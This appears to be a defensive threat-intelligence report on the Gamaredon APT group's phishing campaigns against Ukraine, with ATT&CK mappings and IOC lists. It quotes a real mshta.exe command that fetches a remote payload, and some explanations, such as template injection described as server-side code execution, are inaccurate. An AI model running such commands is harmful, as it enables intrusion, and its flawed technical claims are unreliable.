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Introduction 

 

 The ongoing conflict between Russia and Ukraine has been marked by cyber attacks 

from both sides. One of the most prominent threat actors involved in these attacks is the 

Armageddon (Gamaredon) Advanced Persistent Threat (APT) group. The various campaigns 

used by the Gamaredon APT group in their attacks against Ukraine are analyzed in this report. 

The group's tactics, techniques, and procedures (TTPs), as well as their motivation and 

objectives, are examined. By understanding the methods employed by this threat actor, better 

preparation can be made to defend against future attacks and mitigate their impact. 

  

 

What is an APT Group? 

 

APT (Advanced Persistent Threat) group refers to a sophisticated, organized and well-

resourced group of cyber attackers who use advanced techniques and tactics to infiltrate and 

maintain access to a target network or system over an extended period of time, with the aim 

of stealing sensitive data, conducting espionage or disrupting operations. 

 

APT groups are typically comprised of skilled and experienced hackers who are capable of 

employing a wide range of tactics, such as social engineering, spear-phishing, zero-day 

exploits, and malware to compromise their target. These groups are often sponsored by 

nation-states, criminal organizations, or other entities with a vested interest in the targeted 

data or system. 

Who is Armageddon? 

 

Armageddon is an APT group that has been active since at least 2013 and is believed 

to be based in Russia. The group has been attributed to a number of cyberattacks targeting 

government organizations, military entities, and other high-value targets in Ukraine and other 

countries in the region. 

 

Armageddon is known for using a variety of tactics, including spear-phishing emails, social 

engineering, and the use of custom malware. The group's attacks often involve the theft of 

sensitive data, including emails, documents, and login credentials. 
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General Anatomy of Different Types of Attacks 
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Initial Access and Execution 

Initial Access via Spearphishing 

 

 
 
“Criminal case materials No. 12023100160000001 dated 18.01.2023 on the grounds of committing a criminal 

offense provided for in part 1 of Article 364 of the Criminal Code of Ukraine regarding the illegal actions of a 

serviceman of the Ukrainian Armed Forces. 

Department of Information Policy 

Dnipropetrovsk Regional Prosecutor's Office” 

 

 

Armageddon generally initiates its attacks with a phishing email. These emails sent to 

the Ukrainian government entities typically contain topics related to internal affairs, foreign 

affairs, and even the conflict with Russia. 

 

These emails contain spear phishing attachments like RAR, DOCX, DOCM, LNK, SFX files. 

When these attachments are executed by the victim, they all work in different ways. Let's look 

at the file types they use most in their attacks. 
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Remote Template Injection via RTF File 

 

 
 

 Remote Template Injection in RTF or DOCX files is a technique where an attacker can 

inject malicious code into a server-side template file within an RTF or DOCX document. This 

can be achieved by embedding specially crafted OLE (Object Linking and Embedding) objects 

into the document that point to a remote template file hosted on a server controlled by the 

attacker. 
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When the victim opens the document, the OLE object requests the remote template 

file, which contains the attacker's malicious code. The server-side template engine processes 

the file, executes the injected code, and generates the final document with the malicious 

content. 

 

Armageddon uses remote template injected RTF and DOCX files to download the next stages 

of the attacks. 

 

MITRE ATT&CK TECHNIQUE NAME TECHNIQUE ID 

Spearphishing Attachment T1566.001 

User Execution T1204.002 

Template Injection T1221 

Remote Template Injection via DOCX File 

 

 Similar to the previous example, docx files can also be used in a remote template 

injection attack. 
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Here you see an example of one of the malicious docx files that Armageddon uses. 

 

 
 

MITRE ATT&CK TECHNIQUE NAME TECHNIQUE ID 

Spearphishing Attachment T1566.001 

User Execution T1204.002 

Template Injection T1221 

TAR Contains Malicious LNK File 

 

 
 

Similarly, a compressed TAR file containing a malicious LNK file is sent through a 

phishing email. This LNK file initiates the next stage of the attack using mshta.exe which is a 

VBScript to launch the other stage. 
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%windir%\system32\mshta.exe http://194.180.174[.]203/23.01/mo/baseball[.]DjVu 

 

MITRE ATT&CK TECHNIQUE NAME TECHNIQUE ID 

Spearphishing Attachment T1566.001 

User Execution T1204.002 

System Binary Proxy Execution: Mshta T1218.005 

Defense Evasion 

Abusing Telegram to Bypass DNS 

 

 Generally in the second stage, a malicious VBScript is used then they abuse Telegram 

to get the real C2 IP address. For example https://t[.]me/s/dracarc Telegram account used a lot 

as you see in Virustotal communications. 

 

 
 

 

about:blank
about:blank
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Persistence 

 

Even if the last payload is Powershell Script, VBScript or a PE File; it is trying to be 

persistent. In the example, malicious PE is using the registry RUN key. 

 

 
 

IOCs 

 

TYPE IOC 

HASH 139547707f38622c67c8ce2c026bf32052edd4d344f03a0b37895b5de016641a 

HASH 139547707f38622c67c8ce2c026bf32052edd4d344f03a0b37895b5de016641a 

HASH d282519a5f0134e5a3db91702a4aa3b1322081b42a50147d30d9e6deab0d8321 

HASH 9f01c93e9756bac770f8e9b1186fb3af2b0a61654d0a151c18a75f2d1f9ef06b 

URL https://162[.]33[.]178[.]129/KQaAD6Vq580x 

URL http://45[.]61[.]136[.]56/R3yWX7PNvShO 

URL http://45[.]61[.]136[.]56/tSXjFnhwXIit 

URL https://162[.]33[.]178[.]129/tATPpIKZL4OC 

URL http://45[.]61[.]136[.]56/EPu9McJKYbPU 

URL http://45[.]61[.]136[.]56/YHVJjgSZ74qp 

URL http://45[.]61[.]136[.]56/e3XCvrcdbNuY 

URL https://162[.]33[.]178[.]129/sN1nBkEyCVST 

URL https://162[.]33[.]178[.]129/e0DITwnmX3pR 

URL https://162[.]33[.]178[.]129/pDryEbxPYQfK 
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URL http://45[.]61[.]136[.]56/1m2lMKOHCaub 

URL https://162[.]33[.]178[.]129/X1vOlsEb51Xp 

URL https://162[.]33[.]178[.]129/oS7qhHRR61LA 

URL https://162[.]33[.]178[.]129/7kycZ5DWL9v4 

URL https://162[.]33[.]178[.]129/dFSAwcHoGcgH 

URL http://45[.]61[.]136[.]56/uhR32jjsecnB 

URL https://162[.]33[.]178[.]129/TxYbiIdAWeBX 

URL http://45[.]61[.]136[.]56/kH4yvcfenn40 

URL http://45[.]61[.]136[.]56/OpIESkOMFF8f 

URL http://45[.]61[.]136[.]56/LdRuXNMLj2Yw 

URL http://45[.]61[.]136[.]56/U4p0dJQZQqH7 

URL https://162[.]33[.]178[.]129/NaiJfvAZDNof 

URL https://162[.]33[.]178[.]129/UoG5qVCbOnx7 

URL https://162[.]33[.]178[.]129/ngqF3jAqwGPR 

URL https://162[.]33[.]178[.]129/BqtZ4N1FGd3N 

URL http://45[.]61[.]136[.]56/oTuH20gfT1ei 

URL https://162[.]33[.]178[.]129/HBChfC7Y2weE 

URL http://45[.]61[.]136[.]56/MQLtCTP0PO7E 

URL http://allow[.]all25.ihsana.ru/BABENKO/luke/interface/allowance/ 

URL http://could[.]ambiguous35[.]azzamsa[.]ru/%D0%AE%D0%9B%D0%AF-

%D0%9F%D0%9A/alongside/needle/ 

URL http://t[.]me/s/chanellsac 

URL http://t[.]me/s/zapula2 

URL http://t[.]me/s/zalup2 

URL http://t[.]me/s/vozmoz2 

URL http://t[.]me/s/digitli 

URL http://t[.]me/s/dracarc 

URL http://t[.]me/s/randomnulls 
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